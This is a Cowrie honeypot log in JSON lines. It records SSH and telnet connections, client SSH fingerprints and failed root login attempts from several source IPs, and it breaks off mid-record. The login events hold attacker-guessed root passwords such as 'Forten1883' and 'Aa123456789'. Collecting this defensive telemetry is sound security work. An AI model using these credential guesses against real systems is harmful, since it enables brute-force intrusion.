{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":55228,"dst_ip":"10.17.0.5","dst_port":22,"session":"1df9ebab70fe","protocol":"ssh","message":"New connection: 103.153.68.219:55228 (10.17.0.5:22) [session: 1df9ebab70fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:41:16.535851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:41:16.541443Z","src_ip":"103.153.68.219","session":"1df9ebab70fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:41:16.799547Z","src_ip":"103.153.68.219","session":"1df9ebab70fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:41:17.867377Z","src_ip":"103.153.68.219","session":"1df9ebab70fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:41:19.127958Z","src_ip":"103.153.68.219","session":"1df9ebab70fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.94024419784546,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:41:40.110548Z","src_ip":"192.119.13.58","session":"61cc651ae16a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.78758096694946,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:41:48.334248Z","src_ip":"192.119.13.58","session":"2c649cb8654d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":52245,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f45be095e88","protocol":"ssh","message":"New connection: 103.219.170.37:52245 (159.203.135.109:22) [session: 5f45be095e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:42:13.208273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:42:13.213749Z","src_ip":"103.219.170.37","session":"5f45be095e88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:42:13.297516Z","src_ip":"103.219.170.37","session":"5f45be095e88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456789","message":"login attempt [root/Aa123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:42:13.554162Z","src_ip":"103.219.170.37","session":"5f45be095e88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.175.61.207","src_port":55114,"dst_ip":"10.17.0.5","dst_port":22,"session":"07cc8dbcb202","protocol":"ssh","message":"New connection: 200.175.61.207:55114 (10.17.0.5:22) [session: 07cc8dbcb202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:42:14.077143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:42:14.082785Z","src_ip":"200.175.61.207","session":"07cc8dbcb202","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:42:14.238292Z","src_ip":"200.175.61.207","session":"07cc8dbcb202","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:42:14.638645Z","src_ip":"103.219.170.37","session":"5f45be095e88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456admzxcvbnm!@#$%^&","message":"login attempt [root/123456admzxcvbnm!@#$%^&] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:42:14.892094Z","src_ip":"200.175.61.207","session":"07cc8dbcb202","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:42:16.053756Z","src_ip":"200.175.61.207","session":"07cc8dbcb202","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48632,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e0be8a5930c","protocol":"telnet","message":"New connection: 192.119.13.58:48632 (10.17.0.5:23) [session: 7e0be8a5930c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:42:16.120518Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":45252,"dst_ip":"10.17.0.5","dst_port":22,"session":"88e1d688043c","protocol":"ssh","message":"New connection: 103.75.183.219:45252 (10.17.0.5:22) [session: 88e1d688043c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:42:49.374628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:42:49.380556Z","src_ip":"103.75.183.219","session":"88e1d688043c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:42:49.616591Z","src_ip":"103.75.183.219","session":"88e1d688043c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:42:50.342375Z","src_ip":"103.75.183.219","session":"88e1d688043c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:42:51.581724Z","src_ip":"103.75.183.219","session":"88e1d688043c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41532,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e0807be9330","protocol":"telnet","message":"New connection: 192.119.13.58:41532 (10.17.0.5:23) [session: 9e0807be9330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:42:51.804616Z"}
{"eventid":"cowrie.session.closed","duration":39.29207515716553,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:42:55.412453Z","src_ip":"192.119.13.58","session":"7e0be8a5930c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53300,"dst_ip":"10.17.0.5","dst_port":23,"session":"00be496a1f54","protocol":"telnet","message":"New connection: 192.119.13.58:53300 (10.17.0.5:23) [session: 00be496a1f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:01.549202Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":41844,"dst_ip":"159.203.135.109","dst_port":22,"session":"05088c6e2cc3","protocol":"ssh","message":"New connection: 103.77.242.62:41844 (159.203.135.109:22) [session: 05088c6e2cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:03.738282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:03.743035Z","src_ip":"103.77.242.62","session":"05088c6e2cc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:03.986677Z","src_ip":"103.77.242.62","session":"05088c6e2cc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"justin","message":"login attempt [root/justin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:04.718747Z","src_ip":"103.77.242.62","session":"05088c6e2cc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:05.963362Z","src_ip":"103.77.242.62","session":"05088c6e2cc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":38838,"dst_ip":"159.203.135.109","dst_port":22,"session":"36850ed3259f","protocol":"ssh","message":"New connection: 185.236.22.41:38838 (159.203.135.109:22) [session: 36850ed3259f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:16.686369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:16.691472Z","src_ip":"185.236.22.41","session":"36850ed3259f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:16.825981Z","src_ip":"185.236.22.41","session":"36850ed3259f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"frdfhbev","message":"login attempt [root/frdfhbev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:17.268719Z","src_ip":"185.236.22.41","session":"36850ed3259f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:18.396333Z","src_ip":"185.236.22.41","session":"36850ed3259f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59098,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d25fbdf2691","protocol":"telnet","message":"New connection: 192.119.13.58:59098 (10.17.0.5:23) [session: 6d25fbdf2691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:18.729027Z"}
{"eventid":"cowrie.session.closed","duration":42.57573485374451,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:34.380241Z","src_ip":"192.119.13.58","session":"9e0807be9330","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.175.61.207","src_port":50644,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bc222d8a812","protocol":"ssh","message":"New connection: 200.175.61.207:50644 (10.17.0.5:22) [session: 6bc222d8a812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:39.275556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:39.279968Z","src_ip":"200.175.61.207","session":"6bc222d8a812","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:39.425120Z","src_ip":"200.175.61.207","session":"6bc222d8a812","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos6svm","message":"login attempt [root/centos6svm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:40.039764Z","src_ip":"200.175.61.207","session":"6bc222d8a812","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.591187477111816,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:40.140287Z","src_ip":"192.119.13.58","session":"00be496a1f54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:41.188565Z","src_ip":"200.175.61.207","session":"6bc222d8a812","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":35272,"dst_ip":"159.203.135.109","dst_port":22,"session":"3499b57b83da","protocol":"ssh","message":"New connection: 103.149.28.157:35272 (159.203.135.109:22) [session: 3499b57b83da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:41.876771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:43:41.889390Z","src_ip":"103.149.28.157","session":"3499b57b83da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2